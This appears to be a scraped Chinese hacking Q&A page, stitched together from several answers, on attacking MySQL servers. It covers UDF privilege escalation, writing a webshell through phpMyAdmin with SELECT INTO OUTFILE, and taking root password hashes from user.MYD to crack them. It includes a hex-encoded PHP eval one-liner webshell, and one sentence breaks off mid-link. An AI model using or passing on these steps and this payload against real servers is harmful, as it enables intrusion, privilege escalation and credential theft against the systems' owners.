1、UDF提权专用webshell,导出dll、再执行命令。
2、Phpspyphp的Mysql上传(提示 "上传失败、原因:Result consisted of more than one row"、实际上大多数已上传成功),再连接mysql执行命令。
3、Mysql允许外连的情况下也可以使用Hack MySQL上传,再通过命令行登陆执行命令。
select XXX into outfile "testtxt" from myTable;
==补充==
select into outfile导出webshell技巧
在网上看到的都是先建立一个表。然后插入一句话木马。再查询并导出,经过我实验 其实不用建表 就可以导出文件的。54905bd4f9rlxbjl
比如我们进入了phpmyadmin,随便点击一个数据库,然后点击sql,接着执行select 0x3c3f706870206576616c28245f524551554553545b636d645d293b3f3e into outfile 'd:/xamp/全球最大的中文黑客站 原文链接:>
一般windows中,apache下的php默认才具有system权限,可以直接加用户,jsp马的权限一般也会是system,其他的需要自己提升权限,mysql可以尝试找数据库root密码,进行udf提权(百度udf提权即可找到),还有就是本地溢出,win下的用pr,烤肉,linux下根据版本在网上找相应的exp,祝你好运
利用mysql提权的前提就是,服务器安装了mysql,mysql的服务没有降权,(降权也可以提,没降权的话就最好了),是默认安装以系统权限继承的(system权限) 并且获得了root的账号密码
先来说说我是咋判断一台windows服务器上的mysql有没有降权的 00如果能运行cmd的话,我会先看看有啥用户先,如果有mysql mssql这样用户名,或者类似的我就会猜测他的mssql服务或者mysql的已经被降权运行了但并不代表不能提权,只要能运行cmd
接着说一下,判断服务器上是否开启了mysql服务 一般在拿到webshell的时候,都会扫描一下端口,如果开启了3306端口的话,我会telnet 过去看看- -忘了有无回显~(提权的时候,大多数 3306端口的都是不支持外链的呃,我遇到的大多数是这样, 有root可以开启外链) 当然也有一些管理员会把mysql的默认端口改掉另外一个判断的方法就是网站是否支持php,一般支持php的网站都用mysql数据库的php+mysql啊,好基友啊好丽友- -~(当然,也有一些网站用其他的一些更专业的数据库)
再说说如何查找mysql root的密码
MYSQL所有设置默认都保存在“C:\Program Files\MYSQL\MYSQL Server 50\data\MYSQL”中,也就是安装程序的data目录下,如图2所示,有关用户一共有三个文件即userfrm、userMYD和 userMYI,MYSQL数据库用户密码都保存在userMYD文件中,包括root用户和其他用户的密码。
Userfrm usermyd Usermyi
这几个文件在webshell下,下载下来,解密用c32asm或者其他的一些文本编辑器userMYD打开
A30F80616A023BDFC9
复制到cmd5com那查一下,或者用cain爆破一下
打开后使用二进制模式进行查看,如图所示,可以看到在root用户后面是一串字符串,选中这些字符串将其复制到记事本中,这些字符串即为用户加密值,即A30F80616A023BDFC9 。
具体使用cain破解的,我这就不演示了
还有一个查找的方法就是,一些php网站安装的时候用的是root用户,例如dedecms,他数据库安装的信息就是写在data/commonincphp
以上就是关于udf提权时,mysql5.0以下和5.0以上有什么区别全部的内容,包括:udf提权时,mysql5.0以下和5.0以上有什么区别、在phpmyadmin下执行SQL语句达到下条件、webshell提权CMD添加用户无回显、数据库是MYSQL、如果是权限不够、具体该怎么做求个详细教程。等相关内容解答,如果想了解更多相关内容,可以关注我们,你们的支持是我们更新的动力!
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)